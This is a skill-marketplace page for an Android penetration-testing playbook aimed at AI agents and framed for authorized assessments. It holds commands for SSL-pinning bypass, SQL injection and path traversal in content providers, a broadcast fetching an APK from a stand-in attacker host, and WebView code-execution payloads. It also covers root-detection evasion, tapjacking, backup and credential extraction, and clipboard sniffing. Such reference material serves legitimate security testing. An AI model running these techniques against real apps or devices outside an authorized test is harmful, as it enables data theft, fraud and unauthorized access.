MCPInstall

android-pentesting-tricks

Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent redirection, root detection bypass, tapjacking, and backup extraction during authorized mobile security assessments.

Installs
4.1K
Last 24h
+18
Trending rank
#6300
Security
Warn

Install

Works with every agent the skills CLI supports.

npx skills add https://github.com/yaklang/hack-skills --skill android-pentesting-tricks
  1. 01

    Install

    Run the command in your project. The CLI asks which agents to install for.

  2. 02

    Describe the task

    Ask your agent for something this skill covers. It loads android-pentesting-tricks automatically when relevant.

  3. 03

    Review the result

    The agent follows the SKILL.md steps, scripts and references bundled with the skill.

Security audits

Independent scans of the skill's instructions and bundled files.

Gen Agent Trust Hub PassSAFE ·This skill is a comprehensive Android penetration testing playbook. It provides legitimate methodologies and technical instructions for security researchers to perform authorized mobile application assessments, including traffic interception, component analysis, and root detection bypass.
Socket Warn1 alert: gptSecurity
Snyk PassLOW ·Risk: LOW · No issues
ZeroLeaks PassLOW ·1 finding · Score: 82/100

SKILL.md

The instructions your agent reads when the skill is triggered.

SKILL: Android Pentesting Tricks — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert Android application security testing techniques. Covers SSL pinning bypass (Frida/Objection/LSPosed), component exposure, WebView exploitation, intent redirection, root detection bypass, and Play Integrity evasion. Base models miss Frida hook specifics and multi-layer bypass chains.

0. RELATED ROUTING

Before going deep, consider loading:

  • mobile-ssl-pinning-bypass for in-depth cross-platform SSL pinning bypass techniques and framework-specific hooks
  • ios-pentesting-tricks when also testing the iOS version of the same app
  • api-sec for backend API security testing once traffic is intercepted

Advanced Reference

Also load FRIDA_SCRIPTS.md when you need:

  • Ready-to-use Frida script templates for common Android testing tasks
  • Detailed hook points for OkHttp, Retrofit, Volley, WebView
  • Root detection bypass script collection

1. SSL PINNING BYPASS

1.1 Frida Universal Bypass

# Install Frida server on device
adb push frida-server-16.x.x-android-arm64 /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/frida-server-16.x.x-android-arm64"
adb shell "/data/local/tmp/frida-server-16.x.x-android-arm64 &"

# Universal SSL pinning bypass
frida -U -l ssl_pinning_bypass.js -f com.target.app --no-pause
Hook PointLibrary/ClassCoverage
X509TrustManager.checkServerTrustedAndroid SDKAll standard HTTPS
OkHttpClient.Builder.sslSocketFactoryOkHttp 3.x/4.xSquare OkHttp
CertificatePinner.checkOkHttp 3.x/4.xOkHttp pinning
HttpsURLConnection.setSSLSocketFactoryAndroid SDKLegacy HTTPS
SSLContext.initAndroid SDKCustom SSL contexts
WebViewClient.onReceivedSslErrorWebViewWebView SSL errors
TrustManagerFactory.getTrustManagersAndroid SDKFactory-created TMs

1.2 Objection (Quick Method)

objection -g com.target.app explore
# Inside Objection REPL:
android sslpinning disable

1.3 Network Security Config (Debug Builds)

If you can modify the APK or it's a debug build:

<!-- res/xml/network_security_config.xml -->
<network-security-config>
  <debug-overrides>
    <trust-anchors>
      <certificates src="user" />  <!-- Trust user-installed CAs -->
    </trust-anchors>
  </debug-overrides>
</network-security-config>

1.4 Magisk Module Approach

ModuleMethodScope
LSPosed + TrustMeAlreadyHooks system-wide TrustManagerAll apps
LSPosed + SSLUnpinningTargeted SSL bypassPer-app
MagiskTrustUserCertsMoves user CA to system storeAll apps trusting system CAs
ConscryptTrustUserCertsPatches ConscryptNewer Android (7+)

2. COMPONENT EXPOSURE

2.1 Exported Activities

# Find exported activities (AndroidManifest.xml or aapt)
aapt dump xmltree target.apk AndroidManifest.xml | grep -B 5 "exported.*true"

# Launch exported activity directly
adb shell am start -n com.target.app/.AdminActivity
adb shell am start -n com.target.app/.DeepLinkActivity \
  -d "target://callback?token=attacker_token"

# With extra data
adb shell am start -n com.target.app/.TransferActivity \
  --es "amount" "99999" --es "recipient" "attacker"

2.2 Content Providers

# Query exposed content providers
adb shell content query --uri content://com.target.app.provider/users

# SQL injection in content provider
adb shell content query --uri "content://com.target.app.provider/users" \
  --where "1=1) UNION SELECT sql,2,3 FROM sqlite_master--"

# Path traversal in file-providing content provider
adb shell content read --uri "content://com.target.app.fileprovider/../../../../etc/hosts"
Provider TypeAttack VectorImpact
Database-backedSQL injection via query() projection/selectionData leak, auth bypass
File-backedPath traversal via URIRead arbitrary files
ParcelableType confusion in custom ParcelableCode execution

2.3 Broadcast Receivers

# Send crafted broadcast
adb shell am broadcast -a com.target.app.ACTION_UPDATE \
  --es "url" "http://attacker.com/malicious.apk"

# Ordered broadcast interception (higher priority receiver intercepts first)
# Register receiver with higher priority than target to intercept/modify data

2.4 Exported Services

# Start/bind to exported service
adb shell am startservice -n com.target.app/.BackgroundService \
  --es "command" "exfiltrate"

# List running services
adb shell dumpsys activity services | grep com.target

3. WEBVIEW VULNERABILITIES

3.1 JavaScript Interface RCE (Pre-API 17)

// Vulnerable code: addJavascriptInterface without @JavascriptInterface annotation
webView.addJavascriptInterface(new JSInterface(), "android");

// Pre-API 17: Reflection-based RCE via injected JavaScript
// Inject into WebView:
// android.getClass().forName('java.lang.Runtime')
//   .getMethod('getRuntime').invoke(null).exec('id')

3.2 Modern WebView Attacks

VulnerabilityConditionExploit
setJavaScriptEnabled(true) + untrusted contentJS enabled + attacker controls loaded URLXSS → bridge access
setAllowFileAccessFromFileURLs(true)file:// can read other file://Load file:///data/data/com.target/...
setAllowUniversalAccessFromFileURLs(true)file:// can access any originExfiltrate via XHR to attacker
loadUrl(user_controlled)User input in loadUrljavascript: scheme or file://
shouldOverrideUrlLoading bypassIncomplete URL validationRedirect to attacker-controlled page
evaluateJavascript with tainted dataUser data in JS executionXSS in WebView context

3.3 Deep Link to WebView Chain

1. Attacker crafts deep link: target://webview?url=https://attacker.com/xss.html
2. App opens WebView with attacker URL
3. XSS in WebView calls JavaScript bridge: android.sensitiveMethod()
4. Bridge executes in app context with app's permissions

4. INTENT REDIRECTION

Exported activity receives an Intent and starts another (internal) activity using data from the received Intent.

// Vulnerable pattern:
Intent received = getIntent();
Intent redirect = (Intent) received.getParcelableExtra("next_intent");
startActivity(redirect);
// Attacker controls "next_intent" → can start any internal activity
# Exploit: start non-exported internal activity via redirection
adb shell am start -n com.target.app/.ExportedActivity \
  --es "next_intent" "intent:#Intent;component=com.target.app/.InternalAdminActivity;end"
PatternIndicatorRisk
getParcelableExtra → startActivityIntent-in-IntentStart non-exported activities
getStringExtra("url") → startActivity(Intent.ACTION_VIEW)URL forwardingOpen arbitrary URLs
getStringExtra("class") → Class.forName → startActivityDynamic class loadingStart any activity by name

5. ROOT DETECTION BYPASS

5.1 Common Root Detection Checks

CheckWhat It DetectsFrida Bypass
su binary exists/system/xbin/su, /sbin/suHook File.exists() → return false
Build tags contain "test-keys"Build.TAGSHook Build.TAGS → return "release-keys"
Magisk Manager installedPackage name checkHook PackageManager.getPackageInfo
Superuser.apk presentSu management appHook File.exists()
RootBeer libraryMulti-check root detectionHook all RootBeer check methods
SafetyNet/Play IntegrityServer-side attestationRequires Magisk DenyList + module
Abnormal system propertiesro.debuggable=1, etc.Hook SystemProperties.get

5.2 Magisk DenyList (Previously MagiskHide)

# Enable DenyList in Magisk Manager
# Add target app to DenyList — Magisk hides itself from that app
# Covers: su binary, Magisk Manager package, mount points, props

6. PLAY INTEGRITY / SAFETYNET BYPASS

LevelWhat It ChecksBypass Difficulty
Basic IntegrityNot rooted, not emulatorEasy (Magisk + DenyList)
Device IntegrityBootloader locked, verified bootHard (requires locked bootloader)
Strong IntegrityHardware-backed attestationVery hard (hardware TEE)

Techniques:

  • Magisk with Zygisk enabled + DenyList for target app
  • Play Integrity Fix (PIF) Magisk module: spoofs device fingerprint
  • Shamiko module: hides root from specific apps
  • Custom ROM with locked bootloader (Pixel-specific tricks)

7. TAPJACKING (OVERLAY ATTACKS)

<!-- Malicious overlay activity -->
<activity android:name=".OverlayActivity"
    android:theme="@style/TransparentTheme"
    android:excludeFromRecents="true">
</activity>

<!-- Requires SYSTEM_ALERT_WINDOW permission (draw over other apps) -->
Android VersionProtectionBypass
Pre-6.0NoneFull overlay
6.0–11filterTouchesWhenObscured (opt-in)Apps not using it are vulnerable
12+Untrusted touches blocked for overlay windowsPartial overlays, timing-based

8. BACKUP EXTRACTION

# Check if backup allowed
aapt dump xmltree target.apk AndroidManifest.xml | grep allowBackup
# android:allowBackup(0x01010280)=(type 0x12)0xffffffff → true (default!)

# Extract backup
adb backup -f backup.ab -apk com.target.app
# Convert to tar
dd if=backup.ab bs=24 skip=1 | openssl zlib -d > backup.tar
tar xf backup.tar

# Analyze extracted data
find com.target.app -name "*.db" -o -name "*.xml" -o -name "*.json"
# Check shared_prefs/ for tokens, credentials
# Check databases/ for SQLite DBs with sensitive data

9. ADDITIONAL TRICKS

9.1 Debuggable App Exploitation

# If android:debuggable="true" in manifest
adb shell run-as com.target.app
# Now running as the app's user — full data directory access
cat /data/data/com.target.app/shared_prefs/*.xml

9.2 Drozer (Component Testing Framework)

# List attack surface
dz> run app.package.attacksurface com.target.app
# Exported Activities: 3
# Exported Services: 1
# Exported Providers: 2

# Query provider
dz> run app.provider.query content://com.target.app.provider/users
# Scan for injection
dz> run scanner.provider.injection -a com.target.app

9.3 Clipboard Sniffing

// Pre-Android 10: any app can read clipboard
ClipboardManager cm = (ClipboardManager) getSystemService(CLIPBOARD_SERVICE);
cm.addPrimaryClipChangedListener(() -> {
    ClipData data = cm.getPrimaryClip();
    // Exfiltrate copied passwords, tokens, etc.
});

10. ANDROID PENTESTING DECISION TREE

Testing Android application
│
├── Can intercept HTTPS traffic?
│   ├── No → SSL pinning in place
│   │   ├── Frida available? → universal SSL bypass script (§1.1)
│   │   ├── Rooted + Magisk? → LSPosed + TrustMeAlready (§1.4)
│   │   ├── Debug build? → Network Security Config (§1.3)
│   │   └── None above? → manual decompile + patch + repackage
│   └── Yes → proceed to traffic analysis
│
├── Exported components found?
│   ├── Exported Activities → test direct launch, deeplink abuse (§2.1)
│   ├── Content Providers → SQLi, path traversal (§2.2)
│   ├── Broadcast Receivers → crafted intent injection (§2.3)
│   └── Services → unauthorized service binding (§2.4)
│
├── WebView present?
│   ├── JavaScript enabled + JS interface? → bridge exploitation (§3.1)
│   ├── File access enabled? → file:// scheme abuse (§3.2)
│   └── Deep link → WebView? → URL injection chain (§3.3)
│
├── Intent handling found?
│   └── Intent-in-Intent pattern? → redirect to internal activity (§4)
│
├── Root detection blocking testing?
│   ├── Client-side checks only? → Frida hook bypass (§5.1)
│   ├── SafetyNet/Play Integrity? → Magisk DenyList + modules (§6)
│   └── Custom obfuscated checks? → reverse engineer + targeted hooks
│
├── Sensitive data storage?
│   ├── allowBackup=true? → ADB backup extraction (§8)
│   ├── Debuggable? → run-as for direct data access (§9.1)
│   └── SharedPreferences → check for plaintext tokens/credentials
│
└── UI-based attacks applicable?
    └── Overlay possible? → tapjacking (§7)

FAQ

What does the android-pentesting-tricks skill do?

Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent redirection, root detection bypass, tapjacking, and backup extraction during authorized mobile security assessments.

How do I install android-pentesting-tricks?

Run npx skills add https://github.com/yaklang/hack-skills --skill android-pentesting-tricks in your project. The skills CLI detects the agents you use and copies the skill into the right folder. For Claude Code you can also place the skill folder at ~/.claude/skills/android-pentesting-tricks/ (personal) or .claude/skills/android-pentesting-tricks/ (project).

Which AI agents can use android-pentesting-tricks?

Any agent that supports the open Agent Skills format (a folder with a SKILL.md file), including Claude Code, Codex, Cursor, GitHub Copilot, Gemini CLI, Windsurf, Cline, OpenCode and more.

Is android-pentesting-tricks safe to install?

Security partners have reviewed it: Gen Agent Trust Hub passed; Socket flagged items to review; Snyk passed; ZeroLeaks passed. As with any skill, read the SKILL.md and bundled scripts before installing.

Who maintains android-pentesting-tricks?

It is published by yaklang in yaklang/hack-skills. It has 4,083 recorded installs.

More from yaklang/hack-skills

View all →

hack

yaklang/hack-skills

Entry P0 primary router and operating doctrine for HackSkills. Use when the task involves web application testing, API security assessment, recon, vulnerability triage, exploit path planning, authorized pentest, code audit, source-leak mining, middleware audit, SOC triage, detection engineering, incident response, or choosing the right next category skill before any deep topic skill. Also use when the user mentions 安全工程师, 渗透测试, 红队, 蓝队, 代码审计, 源码泄露, SRC. Enforce impact-first testing, finish the current asset cluster before expanding, follow half-chains to real control, and require live verification of secrets.

Security4.4K installs

recon-and-methodology

yaklang/hack-skills

Reconnaissance and methodology playbook. Use when mapping assets, discovering endpoints, fingerprinting technology, and building a structured testing plan for a new target.

Testing & QA4K installs

sqli-sql-injection

yaklang/hack-skills

SQL injection playbook. Use when input reaches SQL queries, authentication logic, sorting, filtering, reporting, or DB-specific blind and out-of-band execution paths.

Data & Databases4K installs

Code obfuscation analysis and deobfuscation playbook. Use when reversing binaries protected by junk code, opaque predicates, self-modifying code, control flow flattening, VM protection, or string encryption.

Security4K installs

xss-cross-site-scripting

yaklang/hack-skills

XSS playbook. Use when user-controlled content reaches HTML, attributes, JavaScript, DOM sinks, uploads, or multi-context rendering paths.

Security4K installs

api-sec

yaklang/hack-skills

Entry P1 category router for API security. Use when choosing between API recon, authorization, token abuse, and hidden-parameter workflows before any deeper API topic skill.

Backend & APIs3.9K installs

Popular mobile skills

View category →

design-mobile-apps

designed-by-ai/skills

Design mobile app screens with Sleek, edit Sleek projects, and implement their designs in React Native or HTML.

Mobile1.1M installs

ios-design

uizze.sh

Design and review iOS UI/UX for iPhone apps in SwiftUI, UIKit, or React Native. Use for mobile app design, screen redesigns, navigation flows, typography, forms, keyboard and safe-area layout, and accessibility checks. Apply Apple Human Interface Guidelines and consult real product references through the optional Uizze connection.

Mobile416.5K installs

vercel-react-native-skills

vercel-labs/agent-skills

React Native and Expo best practices for building performant mobile apps. Use when building React Native components, optimizing list performance, implementing animations, or working with native modules. Triggers on tasks involving React Native, Expo, mobile performance, or native platform APIs.

OfficialMobile256.7K installs

animate-expo

emilkowalski/skills

Build animations in React Native and Expo, making the decisions in the order that determines whether they feel right — should it animate, which thread it runs on, which properties, spring or timing, how the gesture hands off, how it degrades. Writes the implementation with Reanimated, Gesture Handler, Expo Router and expo-haptics. Use when animating anything in an Expo app, adding gestures, sheets, screen transitions, press feedback or haptics, or fixing motion that stutters on device. For web animation use animate.

Mobile140.1K installs

xcode-project-setup

firebase/agent-skills

Safely modifies Xcode projects (.pbxproj) to add Swift Packages and link files. Use this skill whenever an iOS project needs dependencies installed (e.g. Firebase, Alamofire).

OfficialMobile131.2K installs

firebase-remote-config-basics

firebase/agent-skills

Manages Firebase Remote Config templates, feature flags, loading strategies, and SDKs (Android, iOS). Use when downloading/deploying remoteconfig JSON templates, managing version history/feature flags, setting in-app defaults, fetchAndActivate(), real-time listeners, or SDK setup. Don't use for Firebase Hosting, Auth, Firestore, Data Connect, Crashlytics, or App Hosting.

OfficialMobile121.7K installs